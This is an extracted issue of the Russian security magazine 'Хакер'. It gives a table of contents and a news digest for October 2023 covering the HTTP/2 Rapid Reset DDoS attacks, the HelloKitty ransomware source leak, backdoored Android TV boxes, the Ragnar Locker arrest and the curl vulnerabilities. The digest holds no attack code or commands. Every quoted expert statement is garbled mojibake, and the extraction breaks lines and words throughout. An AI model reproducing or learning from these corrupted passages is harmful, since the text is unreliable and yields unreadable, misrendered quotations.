Вы находитесь на странице: 1из 38

№ 295

CONTENTS
MEGANews
Самые важные события в мире инфосека за октябрь
Письмо с сюрпризом
Изучаем уловки и хитрости для доставки писем с малварью
Фишинг в соцсетях
Как социальные сети помогают хакерам
ChatGPT на рыбалке
Выманиваем пароль при помощи QR-кода и чат-бота
LPE на казенном макбуке
Злоупотребляем установкой VS Code для локального повышения привилегий
Железный бряк
Используем хардверные брейк-пойнты в пентестерских целях
WiX-фикс
Исследуем инсталлятор Windows Installer XML Toolset
Уроки форензики
Большой гид по артефактам Windows
HTB Format
Проксируем запросы в Redis через мисконфиг Nginx
HTB PC
Манипулируем протоколом gRPC при взломе сервера
HTB Intentions
Эксплуатируем сложную SQL-инъекцию для дампа базы данных
HTB Jupiter
Выполняем произвольный код с помощью Jupyter и SatTrack
Инструменты разведчика
Извлекаем данные из Instagram, Telegram, GitHub и других источников
Сделай мне красиво
Изобретаем персональный нейросетевой фотоувеличитель
Шелл-код для ARM
Пишем на ассемблере свой реверс-шелл для устройств на ARM
Веселые хеши
Реализуем технику API Hashing, чтобы обдурить антивирус
The Possessor
Делаем аналог СОРМ-2 на Linux и RouterOS
Pwnagotchi
Собираем хакерский девайс с искусственным интеллектом
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: уязвимость HTTP/2 Rapid Reset стала при-


чиной мощнейших DDoS-атак, в тысячах устройств
на Android нашли бэкдор, разработчика вымогателя Ragnar
Locker арестовали, устройства Cisco IOS XE подвергаются
массовым атакам, ученые разработали атаку side-channel
iLeakage, угрожающую устройствам Apple, а также другие
интересные события октября.

ОТРАЖЕН
МОЩНЕЙШИЙ DDOS
В ИСТОРИИ

Специалисты Amazon Web Services (AWS), Cloudare и Google предупредили


о 0-day-проблеме HTTP/2 Rapid Reset, которую злоумышленники используют
для DDoS-атак с августа текущего года.
Благодаря уязвимости в протоколе HTTP/2 мощность атак, направленных
на облачную инфраструктуру Google, достигла 398 миллионов запросов
в секунду (requests per second), а атаки, направленные на AWS и Cloudare,
превысили 155 миллионов и 201 миллион запросов в секунду.
Для сравнения: прошлый рекорд составлял 71 миллион запросов в секун-
ду и был зафиксирован в начале 2023 года.

Атаки, отраженные Google

Корень проблемы кроется в уязвимости нулевого дня CVE-2023-44487,


существование которой специалистам пришлось хранить в секрете больше
месяца, чтобы дать поставщикам защитных решений и прочим заинтересо-
ванным сторонам время отреагировать, прежде чем об уязвимости станет
известно злоумышленникам.
Уязвимость была обнаружена в протоколе HTTP/2 и, как уже нетрудно
догадаться, может использоваться для организации мощных DDoS-атак.
Дело в том, что важной особенностью HTTP/2 является мультиплексирование
запросов в одном TCP-соединении, что реализовано в виде параллельных
потоков.
Хотя для предотвращения атак в протоколе HTTP/2 предусмотрена защита
в виде параметра, ограничивающего количество одновременно активных
потоков, она не всегда помогает. Поэтому разработчики протокола придума-
ли более эффективную защитную меру — отмену запроса, которая не при-
водит к полному разрыву соединения, но, к сожалению, может использовать-
ся не по назначению.
Так, клиент, желающий прервать запрос, может использовать фрейм
RST_STREAM для прекращения обмена данными. Атака HTTP/2 Rapid Reset
эксплуатирует именно эту особенность протокола, чтобы очень быстро
отправлять и отменять запросы, тем самым обходя установленный сервером
максимум для одновременных потоков.

Работа RST_STREAM (Cloudare)

« «Àòàêè HTTP/2 Rapid Reset ñòðîÿòñÿ íà èñïîëüçîâàíèè íåñêîëüêèõ


HTTP/2-ñîåäèíåíèé è áûñòðîì ÷åðåäîâàíèè çàïðîñîâ è îòìåí. Íàï-
ðèìåð, ïåðåäàåòñÿ ñåðèÿ çàïðîñîâ íà íåñêîëüêî ïîòîêîâ ñ ïîñëåäó-
þùåé îòìåíîé äëÿ êàæäîãî èç íèõ. Öåëåâàÿ ñèñòåìà áóäåò àíàëèçè-
ðîâàòü è âûïîëíÿòü êàæäûé çàïðîñ, ãåíåðèðóÿ æóðíàëû äëÿ çàïðîñà,
êîòîðûé çàòåì ñáðàñûâàåòñÿ èëè îòìåíÿåòñÿ êëèåíòîì», — ïèøóò ñïå-
öèàëèñòû AWS.
«Ïðîòîêîë íå òðåáóåò îò êëèåíòà è ñåðâåðà êàêèì ëèáî îáðàçîì
ñîãëàñîâûâàòü îòìåíó, è êëèåíò ìîæåò ñäåëàòü ýòî â îäíîñòîðîííåì
ïîðÿäêå, — îáúÿñíÿåò Google. — Òàêæå êëèåíò ïîëàãàåò, ÷òî îòìåíà
âñòóïèò â ñèëó íåìåäëåííî, êàê òîëüêî ñåðâåð ïîëó÷èò ôðåéì
RST_STREAM, äî òîãî êàê áóäóò îáðàáîòàíû ëþáûå äðóãèå äàííûå
ýòîãî TCP-ñîåäèíåíèÿ».

То есть, инициируя сотни тысяч потоков HTTP/2 и быстро отменяя их, зло-
»
умышленники могут полностью выводить сайты из строя, не превышая мак-
симальное количество потоков, разрешенное сервером. Еще один важный
аспект этой проблемы в том, что эти атаки могут быть реализованы силами
относительно небольших ботнетов, состоящих примерно из 20 тысяч машин.

Логика работы HTTP/2 Rapid Reset

« «Àâòîìàòèçèðóÿ è ìàñøòàáèðóÿ ýòîò ïðîñòîé øàáëîí „çàïðîñ, îòìåíà,


çàïðîñ, îòìåíà“, çëîóìûøëåííèêè ìîãóò äîáèòüñÿ îòêàçà â îáñëó-
æèâàíèè è îòêëþ÷èòü ëþáîé ñåðâåð èëè ïðèëîæåíèå, ðàáîòàþùåå
ñî ñòàíäàðòíîé èìïëåìåíòàöèåé HTTP/2», — îáúÿñíÿþò â Cloudflare.

Также эксперты Cloudare сообщают, что прокси-серверы или балансиров-


»
щики нагрузки HTTP/2 особенно восприимчивы к таким атакам. Так, сеть ком-
пании оказалась перегружена на участке между TLS-прокси и апстримом,
поэтому ущерб был нанесен еще до того, как вредоносные запросы попали
под блокировку. В итоге атаки привели к увеличению количества оши-
бок 502 для клиентов Cloudare.
По словам представителей Cloudare, в итоге для борьбы с атаками
HTTP/2 Rapid Reset была использована система, предназначенная для обра-
ботки гиперобъемных (hyper-volumetric) атак, под названием IP Jail, которую
компания расширила для охвата всей своей инфраструктуры.
Эта система помещает IP-адреса нарушителей «в тюрьму» и запрещает
им применять HTTP/2 для любого домена Cloudare в течение определенного
периода, при этом для реальных пользователей, использующих этот IP-адрес,
производительность снижается лишь незначительно.
Компания Amazon, в свою очередь, заявила, что отразила уже десятки
подобных атак, однако не раскрывает подробной информации об этих инци-
дентах и их последствиях. Лишь подчеркивается, что доступность клиентских
сервисов была сохранена.
В Google заявили, что компании удалось смягчить эти атаки, увеличив
дополнительную пропускную способность на границе своей сети.
В итоге все три компании делают вывод, что наилучшим способом защиты
от HTTP/2 Rapid Reset будет использование всех доступных средств защиты
от HTTP-флуда, а также повышение устойчивости к DDoS-атакам посредс-
твом многогранных защитных мер.
К сожалению, поскольку данные атаки строятся на протоколе HTTP/2,
не существует единого решения, позволяющего полностью блокировать этот
вид DDoS’а.

« «Ñðåäñòâà çàùèòû îò ýòîãî âåêòîðà àòàê ìîãóò ïðèíèìàòü ðàçëè÷íûå


ôîðìû, íî â îñíîâíîì îíè ñâîäÿòñÿ ê îòñëåæèâàíèþ ñòàòèñòèêè
ñîåäèíåíèé è èñïîëüçîâàíèþ ðàçëè÷íûõ ñèãíàëîâ è áèçíåñ ëîãèêè
äëÿ îïðåäåëåíèÿ ïîëåçíîñòè êàæäîãî ñîåäèíåíèÿ, — ðàññêàçûâàþò
èíæåíåðû Google. — Íàïðèìåð, åñëè ñîåäèíåíèå èìååò
áîëåå 100 çàïðîñîâ è áîëåå 50% èç íèõ îòìåíåíû, îíî ñòàíîâèòñÿ
êàíäèäàòîì äëÿ ïðèìåíåíèÿ îòâåòíûõ ìåð. Ìàñøòàáû è òèï ýòèõ
îòâåòíûõ ìåð çàâèñÿò îò ñòåïåíè ðèñêà äëÿ êàæäîé êîíêðåòíîé ïëàò-
ôîðìû, íî îíè ìîãóò âàðüèðîâàòüñÿ îò ïðèíóäèòåëüíîãî èñïîëü-
çîâàíèÿ ôðåéìîâ GOAWAY äî íåìåäëåííîãî çàêðûòèÿ TCP-ñîåäè-
íåíèÿ.
Äëÿ çàùèòû îò âàðèàíòà àòàêè, êîãäà çëîóìûøëåííèêè íå îòìåíÿþò
çàïðîñû ñðàçó, ìû ðåêîìåíäóåì ñåðâåðàì HTTP/2 çàêðûâàòü ñîåäè-
íåíèÿ, ïðåâûøàþùèå ëèìèò îäíîâðåìåííûõ ïîòîêîâ. Ýòî ìîæåò ïðî-
èñõîäèòü êàê ñðàçó, òàê è ïîñëå íåáîëüøîãî êîëè÷åñòâà ïîâòîðíûõ
íàðóøåíèé».
»
ЦЕНА УТЕЧКИ ДАННЫХ — 5,5 ÌÈËËÈÎÍÀ ÐÓÁËÅÉ
Специалисты ГК «Солар» сообщили, что ключевой угрозой для российского бизнеса
в 2023 году стали масштабные утечки конфиденциальной информации, которые теперь про-
исходят ежемесячно. Крупный бизнес и государственный сегмент теряют от одной утечки
в среднем 5,5 миллиона рублей.

Эта оценка включает прямые финансовые издержки, но не учитывает потенциальные репута-


ционные потери, а также штрафные санкции. При этом более 55% расходов на ликвидацию
последствий таких инцидентов в организациях идут именно на решение проблем, связанных
с репутационными потерями.

С утечками информации чаще всего сталкиваются компании из сферы ретейла (37%), финан-
сового сектора (20%) и игровой индустрии (10%). Общий объем опубликованных данных уже
составляет 91,8 Тбайт.

УТЕКЛИ ИСХОДНИКИ
HELLOKITTY

На русскоязычном хакфоруме выложили исходный код малвари HelloKitty.


Предполагаемый автор вымогателя заявил, что уже разрабатывает новый,
более мощный шифровальщик.
Первым публикацию исходников обнаружил ИБ-исследователь 3xp0rt. Он
сообщил, что некто под ником kapuchin0 выложил на хакерском форуме «пер-
вую ветку» шифровальщика HelloKitty.

Хотя на этот раз хакер использовал ник kapuchin0, также он известен


под псевдонимом Gookee. Этого человека связывали с попыткой продать
доступ к сети Sony Network Japan в 2020 году и с RaaS-угрозой Gooke
Ransomware, исходники которой он тоже пытался продать на хакерском
форуме.
3xp0rt считает, что создал вымогатель HelloKitty именно
kapuchin0/Gookee, а сам хакер заявляет, что уже работает над новым продук-
том, который будет «гораздо интереснее, чем LockBit».
Обнародованный архив hellokitty.zip содержит решение Microsoft Visual
Studio для создания шифровальщика и дешифратора HelloKitty, а также биб-
лиотеку NTRUEncrypt, которую эта версия вымогателя использует для шиф-
рования файлов.
Известный ИБ-эксперт Майкл Гиллеспи (Michael Gillespie) уже подтвердил,
что в открытом доступе опубликован настоящий исходный код HelloKitty,
который использовался в атаках в 2020 году.
Исследователи отмечают, что обычно после утечек и раскрытий исходных
кодов малвари их берут на вооружение другие злоумышленники, которые
потом строят на их основе собственные вредоносы. К примеру, ранее в этом
году эксперты SentinelOne подсчитали, что сразу несколько хакгрупп исполь-
зуют попавший в открытый доступ исходный код шифровальщика Babuk
и создали на его базе как минимум девять вредоносов, ориентированных
на VMware ESXi.

САТЬЯ НАДЕЛЛА ОБ УХОДЕ С РЫНКА СМАРТФОНОВ


В большом интервью изданию Business Insider глава компании Microsoft Сатья Наделла сооб-
щил, что жалеет о своем решении вывести Microsoft с рынка мобильных устройств. Когда жур-
налист попросил его назвать какую-либо стратегическую ошибку или просто неудачное
решение, о котором Наделла сожалеет в ретроспективе, тот ответил, что оно связано
с Windows Phone.

→ «Решение, о котором, как мне кажется, говорят многие (и одно из самых


сложных решений, которые я принял, став CEO), заключалось в том, что мы
отказались от мобильных телефонов в том виде, в котором они тогда существо-
вали. Оглядываясь назад, думаю, мы могли бы справиться с этой задачей, воз-
можно переосмыслив категорию вычислительных устройств между ПК, план-
шетами и телефонами», — рассказал Наделла.

Продолжение статьи →
← Начало статьи

ОБНАРУЖЕНЫ
ANDROID-ДЕВАЙСЫ
С БЭКДОРОМ

В начале текущего года независимый ИБ-исследователь Даниэль Милишич


(Daniel Milisic) обнаружил, что на Amazon продаются Android-приставки T95,
прямо «из коробки» зараженные сложной малварью. Теперь это исследова-
ние продолжили специалисты компании Human Security, и выяснилось, что
бэкдор содержат семь приставок и один планшет, а также признаки зараже-
ния демонстрируют более 200 моделей других Android-устройств.
Отчет Human Security разделен на две основные части. Раздел Badbox
касается зараженных Android-устройств и их участия в различных мошен-
нических схемах. Вторая часть, получившая название Peachpit, рассказывает
о связанном рекламном мошенничестве, в котором задействовано
как минимум 39 приложений для Android и iOS.
Все началось с того, что во второй половине 2022 года исследователи
обнаружили приложение для Android, которое демонстрировало подоз-
рительный трафик и подключалось к домену yermobi.com. В янва-
ре 2023 года Милишич опубликовал свое исследование приставки T95, где
тоже упоминался этот домен. После этого команда Human Security приобрела
эту приставку, а также несколько других девайсов и приступила к их изучению.
В общей сложности исследователи обнаружили восемь устройств с уста-
новленными бэкдорами: приставки T95, T95Z, T95 Max, X88, Q9, X12 Plus
и MXQ Pro 5G, а также планшет J5-W. Суммарно Human Security выявила
не менее 74 тысяч Android-устройств с признаками заражения Badbox по все-
му миру, в том числе в домах, на предприятиях и в школах на территории
США.

Купленные и изученные экспертами устройства

Такие устройства производятся в Китае, и перед тем, как они попадают в руки
реселлеров, в их прошивку добавляется бэкдор. При этом неизвестно,
на каком этапе цепочки поставок происходит компрометация. В посвященной
Badbox части отчета эксперты отмечают, что бюджетные Android-приставки
для потокового видео (как правило, стоимостью менее 50 долларов) зачас-
тую продаются под разными брендами или вообще его не имеют, так что
проследить их происхождение и цепочку поставок может быть затруднитель-
но.
По словам специалистов, обнаруженный бэкдор основан на мобильной
малвари Triada, впервые обнаруженной в 2016 году «Лабораторией Каспер-
ского». Этот вредонос модифицирует один из элементов ОС Android, получая
доступ к установленным на устройстве жертвы приложениям, а после свя-
зывается со своими операторами.

« «Êîãäà ïîëüçîâàòåëü ïîäêëþ÷àåò òàêîå óñòðîéñòâî, îíî ñâÿçûâàåòñÿ


ñî ñâîèì óïðàâëÿþùèì ñåðâåðîì â Êèòàå, çàãðóæàåò îòòóäà íàáîð
èíñòðóêöèé è íà÷èíàåò äåëàòü êó÷ó ïëîõèõ âåùåé, — ïèøóò èññëåäîâà-
òåëè. — Ýòî êàê øâåéöàðñêèé íîæ äëÿ ñîâåðøåíèÿ ïàêîñòåé
â èíòåðíåòå».

Экспертам удалось отследить несколько видов мошенничества, связанных


»
со взломанными устройствами. Например, зараженные гаджеты используют-
ся в рекламном мошенничестве, в качестве резидентных прокси, применя-
ются для создания фейковых учетных записей Gmail и WhatsApp, а также
для удаленной установки малвари.
Злоумышленники продают доступ к скомпрометированным домашним
сетям своих жертв другим преступникам, заявляя, что сейчас имеют доступ
примерно к 10 миллионам домашних IP-адресов и 7 миллионам мобильных
IP-адресов.
Что касается упомянутой выше мошеннической схемы Peachpit, она стро-
ится вокруг мобильных приложений, которые присутствовали как на Android-
приставках, так и на телефонах под управлением Android и iOS.
Суммарно компания выявила 39 вредоносных приложений для Android,
iOS и приставок. В основном это оказались шаблонные приложения не очень
высокого качества, среди которых были решения для фитнеса и подсчета
выпитой воды. Эти приложения выполняли целый ряд мошеннических дей-
ствий, включая показы скрытой и вредоносной рекламы (через скрытый
WebView), а также спуфинг трафика. По подсчетам исследователей, только
приложения для Android были суммарно загружены более 15 миллионов раз.
Хотя разработчики Peachpit, судя по всему, не являются разработчиками
Badbox, авторы исследования утверждают, что эти группы взаимодействуют
между собой.

« «Ó íèõ åñòü SDK, êîòîðûé ïðåäíàçíà÷åí äëÿ ðåêëàìíîãî ìîøåííè÷åñ-


òâà, è ìû îáíàðóæèëè âåðñèþ ýòîãî SDK, ñîâïàäàþùóþ ñ íàçâàíèåì
ìîäóëÿ, êîòîðûé óñòàíàâëèâàëñÿ íà Badbox. Ýòî òîëüêî îäíà èç ñâÿ-
çåé, êîòîðûå ìû âûÿâèëè», — ñîîáùàþò â Human Security.

По данным исследователей, с рекламными объявлениями этой кампании свя-


»
зано более 4 миллиардов рекламных запросов в день, которые затрагива-
ют 121 тысячу устройств под управлением Android и 159 тысяч устройств
под управлением iOS. По самым скромным подсчетам, участники этой схемы
могут зарабатывать до 2 миллионов долларов за месяц.
Представители Google сообщают, что все 20 приложений для Android,
которые обнаружили исследователи Human Security, уже удалены из Google
Play Store. Что касается устройств с бэкдорами Badbox, в компании отметили,
что эти устройства «не были сертифицированы Play Protect».
В свою очередь, представители Apple заявили, что пять приложений
из тех, о которых сообщили исследователи, нарушали правила компании.
Разработчикам было дано 14 дней, чтобы устранить эти нарушения, и раз-
работчики четырех из пяти приложений это сделали.
В заключение эксперты Human Security сообщают, что с конца 2022 года
они предприняли ряд неких мер, направленных против Badbox и Peachpit,
а также передали все собранные данные правоохранительным органам.
В результате к настоящему моменту эти мошеннические схемы практически
прекратили свою работу.
Исследователи подчеркивают, что злоумышленники адаптировались к их
вмешательству в режиме реального времени: сначала они активно рас-
пространяли обновления, которые помогали им скрывать свои действия,
а затем операторы Badbox вообще отключили управляющие серверы, обес-
печивавшие работу бэкдора.

Сокращение масштабов Badbox

Несмотря на это, зараженные устройства по-прежнему работают во многих


домах и организациях по всему миру. Эксперты предупреждают, что удалить
с них малварь будет крайне сложно, поэтому такие девайсы следует рассмат-
ривать как «спящую» угрозу, которая попросту ждет нового набора инструк-
ций.
Равно как и Даниэль Милишич, исследователи рекомендуют людям,
покупающим Android-приставки, приобретать устройства, чей производитель
известен и заслуживает доверия, и по возможности отказаться от исполь-
зования потенциально опасных IoT-гаджетов.

« «Ëþáîé ìîæåò ñëó÷àéíî êóïèòü Badbox-óñòðîéñòâî â èíòåðíåòå, äàæå


íå ïîäîçðåâàÿ, ÷òî ýòî ôàëüøèâêà, ïîäêëþ÷èòü åãî è íåîñîçíàííî
çàïóñòèòü âðåäîíîñíîå ÏÎ ñ áýêäîðîì. Ýòî âðåäîíîñíîå ÏÎ ìîæåò
èñïîëüçîâàòüñÿ äëÿ êðàæè ëè÷íûõ äàííûõ, çàïóñêà ñêðûòûõ áîòîâ,
ñîçäàíèÿ ðåçèäåíòíûõ ïðîêñè, êðàæè ôàéëîâ cookie è îäíîðàçîâûõ
ïàðîëåé, à òàêæå ðåàëèçàöèè óíèêàëüíûõ ìîøåííè÷åñêèõ ñõåì», —
ïðåäîñòåðåãàþò àíàëèòèêè.
»
ГИПЕРОБЪЕМНЫЕ DDOS-АТАКИ УСИЛИВАЮТСЯ
В третьем квартале 2023 года компания Cloudare отразила тысячи гиперобъемных DDoS-атак,
в которых использовалась недавно обнаруженная уязвимость HTTP/2 Rapid Reset. Мощность
89 из этих атак превысила 100 миллионов запросов в секунду (requests per second).

Самая крупная атака этого квартала достигла пиковой мощности в 201 миллион запросов
в секунду, что в три раза превышает предыдущий рекорд, установленный в фев-
рале 2023 года.

Также Cloudare сообщает об увеличении совокупного объема HTTP-трафика DDoS-атак


на 65% за последний квартал и увеличении количества DDoS-атак L3/L4 на 14%.

В целом 5% от общего количества DDoS-трафика было направлено на организации в США,


более 3,1% досталось компаниям в Сингапуре, а на третьем месте оказался Китай с 2,2%.

Но есть и хорошие новости: количество вымогательских DDoS-атак снижается второй квартал


подряд. По словам исследователей, «злоумышленники осознали, что организации не будут им
платить».

MICROSOFT
ЗАПРЕТИТ
АКТИВАЦИЮ
СТАРЫМИ КЛЮЧАМИ

Обнаружилось, что компания Microsoft прикрыла одну из излюбленных «лазе-


ек» пользователей и запретила активировать Windows 10 или Windows 11 ста-
рыми ключами от Windows 7 и Windows 8.
В конце сентября компания Microsoft напомнила о том, что формально
предложение по бесплатному обновлению старых ОС до Windows
10 или 11 было актуально только до 29 июля 2016 года. В компании подчер-
кнули, что предложение давно истекло, теперь способ бесплатного обновле-
ния закрыт.
Также в сообщении уточняется, что пользователи Windows 10 по-преж-
нему могут бесплатно перейти на Windows 11 (конечно, если их компьютеры
соответствуют необходимым требованиям).
Дело в том, что, хотя предложение по бесплатному переходу на Windows
10 действовало только до 29 июля 2016 года (а после этой даты его перес-
тали показывать пользователям), быстро обнаружилось, что старые установ-
ки Windows все равно можно обновить с помощью загруженных ISO-образов
и USB-накопителей, а также можно использовать старые ключи Windows
для активации новых установок. И эта «лазейка» оставалась актуальной
по сей день.
Судя по всему, запрет будет применяться только к будущим версиям
Windows. Так, активировать новую установку Windows 11 Pro 22H2 с помощью
ключа от Windows 8 Pro все еще возможно, однако активировать новую тес-
товую сборку Windows 11 Canary (24H2) — уже нельзя.

В РОССИИ ЗАБЛОКИРОВАНО 167 VPN


Глава Центра мониторинга и управления сетью связи общего пользования (ЦМУ ССОП) Сергей
Хуторцев сообщил, что к настоящему моменту в России под блокировку попали 167 VPN-сер-
висов и более 200 почтовых сервисов в рамках противодействия угрозам устойчивости,
безопасности и целостности сети связи.

Также, по его словам, под ограничения попадают более 590 000 информационных ресурсов,
более 2000 фишинговых сайтов, более 84 приложений и более 20 «центров распространения
вредоносного ПО». При этом 17 500 IP-адресов включены в «белый список» и исключены
из фильтрации в системах блокировки ТСПУ (технические средства противодействия угрозам).

Продолжение статьи →
← Начало статьи

АРЕСТОВАН
РАЗРАБОТЧИК
RAGNAR LOCKER

Правоохранители захватили сайты вымогательской группировки Ragnar


Locker, через которые злоумышленники вели переговоры со своими жертва-
ми и сливали украденные данные, чтобы шантажировать пострадавших.
Теперь при посещении любого из сайтов Ragnar Locker можно увидеть
сообщение-заглушку, в котором говорится о конфискации сайтов, а также
сообщается, что в этой операции принимали участие правоохранительные
органы из Германии, Испании, Италии, Латвии, Нидерландов, США, Фран-
ции, Чехии и Японии.
Вскоре после этого представители Европола сообщили, что «ключевая
цель», связанная с этой хакгруппой, арестована в Париже.

« «„Êëþ÷åâàÿ öåëü“, ñâÿçàííàÿ ñ ýòèì âûìîãàòåëüñêèì ÏÎ, àðåñòîâàíà


â Ïàðèæå (Ôðàíöèÿ) 16 îêòÿáðÿ, à â äîìå ýòîãî ÷åëîâåêà â ×åõèè ïðî-
âåäåí îáûñê. Â ïîñëåäóþùèå äíè áûëè ïðîâåäåíû äîïðîñû ïÿòè
ïîäîçðåâàåìûõ â Èñïàíèè è Ëàòâèè, — çàÿâëÿåò Åâðîïîë. — Â êîíöå
ýòîé íåäåëè ãëàâíûé çëîóìûøëåííèê, ïîäîçðåâàåìûé â òîì, ÷òî îí
ðàçðàáîò÷èê ýòîé ãðóïïèðîâêè, ïðåäñòàë ïåðåä ñóäåáíûìè ñëåäîâà-
òåëÿìè ïàðèæñêîãî ñóäà».

Известно, что арестованному во Франции подозреваемому уже предъявлен


»
ряд обвинений, связанных с вымогательством, отмыванием денег и участием
в преступных операциях.
Как сообщают правоохранители, еще в мае 2021 года Евроюст открыл
дело, связанное с Ragnar Locker, по запросу французских властей. В резуль-
тате этой совместной операции еще в сентябре 2021 года украинская кибер-
полиция арестовала двух подозреваемых, а впоследствии,
в октябре 2022 года, еще один подозреваемый был задержан в Канаде в ходе
совместной операции, проведенной правоохранительными органами Фран-
ции, Канады и США.
В итоге эти действия привели к новым арестам и конфискации девяти сер-
веров группировки. Сообщается, что в итоге была отключена инфраструктура
группы, в том числе пять серверов в Нидерландах, два в Германии и два
в Швеции.
Как отмечают в Европоле, с 2020 года операторы Ragnar Locker атакова-
ли 168 международных компаний в разных странах мира, в том числе провели
серию атак, нацеленных на объекты критической инфраструктуры.

ВИТАЛИК БУТЕРИН НЕ ПРОДАВАЛ ETH С 2018 ГОДА


Крупные криптовалютные транзакции в сети не остаются незамеченными. На этот раз вни-
мание аналитиков PeckShield привлек перевод 14,93 миллиона USDC на биржу Gemini
с кошелька vitalik.eth, связанного с соучредителем Ethereum Виталиком Бутериным.
В ответ на возникшие слухи Бутерин заявил в социальной сети Warpcast, что не продавал
криптовалюту уже много лет. А представители Ethereum Foundation пояснили СМИ, что это была
лишь операция подписи с использованием имени Бутерина в Ethereum.

→ «Регулярное напоминание: если вы видите статью „Виталик отправил XXX


ETH на [биржу]“, на самом деле я ничего не продавал. Почти всегда [это озна-
чает], что я жертвовал на какой-то благотворительный, некоммерческий
или другой проект, а получатель продавал, потому что ему было нужно покрыть
расходы.
Я не „продавал“ ETH для личной выгоды с 2018 года», — заявил Бутерин.

УЯЗВИМОСТИ CURL
ОКАЗАЛИСЬ
НЕСТРАШНЫМИ

В начале месяца разработчики curl предупредили, что 11 октября 2023 года


выйдут патчи для двух уязвимостей, одна из которых может стать «худшей»
за последнее время. Исправления действительно вышли, но оказалось, что
серьезность проблем была сильно преувеличена.
4 октября разработчик curl Дэниел Стенберг (Daniel Stenberg) предуп-
редил, что цикл разработки curl 8.4.0 будет сокращен и новая версия вый-
дет 11 октября ради устранения уязвимостей.

« «Ìû ñîêðàùàåì ðåëèç öèêë è 11 îêòÿáðÿ âûïóñòèì curl 8.4.0,


â êîòîðóþ âîéäóò èñïðàâëåíèÿ äëÿ îäíîé CVE âûñîêîé ñòåïåíè ñåðü-
åçíîñòè è îäíîé CVE íèçêîé ñòåïåíè ñåðüåçíîñòè, — ïèñàë Ñòåí-
áåðã. — Òà óÿçâèìîñòü, êîòîðàÿ èìååò âûñîêóþ ñòåïåíü ñåðüåçíîñòè,
âåðîÿòíî, îêàæåòñÿ õóäøåé ïðîáëåìîé áåçîïàñíîñòè â curl çà äîëãîå
âðåìÿ».

Поскольку утилита командной строки curl и связанная с ней библиотека libcurl


»
широко используются во многих библиотеках и приложениях, а также входят
в состав практически всех операционных систем, это предупреждение выз-
вало нешуточные опасения среди ИБ-специалистов и разработчиков.
Некоторые даже предполагали, что проблема может оказаться столь же
серьезной, как нашумевшая уязвимость в Log4j.
Но когда разработчики представили curl 8.4.0 и обнародовали информа-
цию об уязвимостях, стало ясно, что угроза была преувеличена.
Что касается менее опасной уязвимости, CVE-2023-38546, она связана
с инжектами файлов cookie и затрагивает только libcurl
(от 7.9.1 до 8.3.0 включительно). Как объясняют сами разработчики, веро-
ятность того, что злоумышленники выполнят ряд условий, необходимых
для срабатывания этой уязвимости, крайне мала. Кроме того, по их словам,
cookie-инъекции представляют лишь небольшой риск для безопасности
пользователей.
Вторая уязвимость, CVE-2023-38545, которая должна была стать «худ-
шей» в истории, представляет собой переполнение буфера хипа и застра-
гивает имплементацию прокси-протокола SOCKS5 в curl и libcurl. Об этой
ошибке через платформу HackerOne сообщил ИБ-исследователь Джей
Сатиро (Jay Satiro). Он получил за этот баг 4600 долларов США — крупней-
шую на сегодняшний день награду за ошибку в curl.
Возможные последствия эксплуатации бага включают повреждение дан-
ных и, в худшем случае, выполнение произвольного кода на стороне клиента.
В частности, переполнение буфера может произойти во время медленного
хендшейка прокси SOCKS5. Уязвимость возникает из-за некорректной обра-
ботки имен хостов длиной более 255 байт. Если имя хоста превыша-
ет 255 байт, curl не позволяет прокси резолвить имя хоста удаленно
и переходит к локальному резолверу.

« «Èç çà îøèáêè ëîêàëüíàÿ ïåðåìåííàÿ, êîòîðàÿ èíñòðóêòèðóåò curl


„ïîçâîëèòü õîñòó ðåçîëâèòü èìÿ“, ìîæåò ïîëó÷èòü íåâåðíîå çíà÷åíèå
âî âðåìÿ ìåäëåííîãî õåíäøåéêà SOCKS5 è, âîïðåêè çàìûñëó, ñêî-
ïèðîâàòü ñëèøêîì äëèííîå èìÿ õîñòà â öåëåâîé áóôåð, âìåñòî òîãî
÷òîáû ñêîïèðîâàòü òóäà òîëüêî ïðåîáðàçîâàííûé àäðåñ», — ñîîáùàþò
ðàçðàáîò÷èêè.

То есть уязвимость, которая присутствовала в коде 1315 дней, вероятнее


»
всего, может использоваться для проведения атак на отказ в обслуживании.
Так, атакующий может создать сайт, который перенаправляет посетителя
на очень длинное имя хоста (например, содержащее тысячи символов), что
в итоге приведет к переполнению буфера хипа и возникновению сбоя.
При этом эксплуатация бага требует, чтобы клиент curl был настроен
на использование прокси SOCKS5 при подключении к удаленному сайту,
а также должны быть включены автоматические редиректы. Необходимо
и медленное SOCKS5-соединение с удаленным сайтом.
Как в итоге отметили многие эксперты, поскольку большинство людей,
работающих с curl, не используют SOCKS5, эта проблема не затронет их вов-
се.

« «Îñíîâíàÿ ïðè÷èíà, ïî êîòîðîé ÿ çîë íà curl, — âñå ýòè ðàçãîâîðû


è õàéï âîêðóã íåãî. Êîìïàíèÿì è òàê íåëåãêî îïðåäåëÿòü ïðèîðèòåò-
íîñòü èñïðàâëåíèé è ñòåïåíü ñåðüåçíîñòè ðàçëè÷íûõ óÿçâèìîñòåé.
Ïîäîáíûå „ó÷åáíûå òðåâîãè“ ëèøü îòíèìàþò âðåìÿ, êîãäà îíè ìîã-
ëè áû ñîñðåäîòî÷èòüñÿ íà òàêèõ âåùàõ, êàê KEV, íîâîå îáëàêî
èëè AD», — ïèñàë â X (áûâøèé Twitter) ñïåöèàëèñò TrustedSec Äæàñòèí
Ýëçå (Justin Elze).

При этом даже сам Стенберг сообщил, что наиболее реалистичный сценарий
»
атаки на CVE-2023-38545 предполагает, что пользователь браузера Tor,
который часто использует протокол SOCKS5, подключится к взломанному
HTTPS-сайту.
Однако с такой позицией согласны не все. К примеру, известный
ИБ-эксперт Мэттью Хики (Matthew Hickey, он же hackerfantastic) заявил, что
SOCKS5 может быть не слишком популярен в бизнес-среде, однако его часто
используют исследователи и разработчики в области ИБ.

« «Íà ñàìîì äåëå ýòî äîâîëüíî ÷àñòî ñëó÷àåòñÿ, êîãäà ëþäè çàï-
ðàøèâàþò API äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè, îòëàäêè èëè äðóãîé
òåõíè÷åñêîé ðàáîòû. Òàêæå ýòî ÷àñòî âñòðå÷àåòñÿ ïðè ïðîâåðêå ñåð-
âèñîâ Tor ñ èñïîëüçîâàíèåì òàêèõ èíñòðóìåíòîâ, êàê curl, êîãäà
äëÿ âûïîëíåíèÿ çàïðîñà îáû÷íî òðåáóåòñÿ SOCKS5-ïðîêñè», — ðàñ-
ñêàçûâàåò Õèêè.

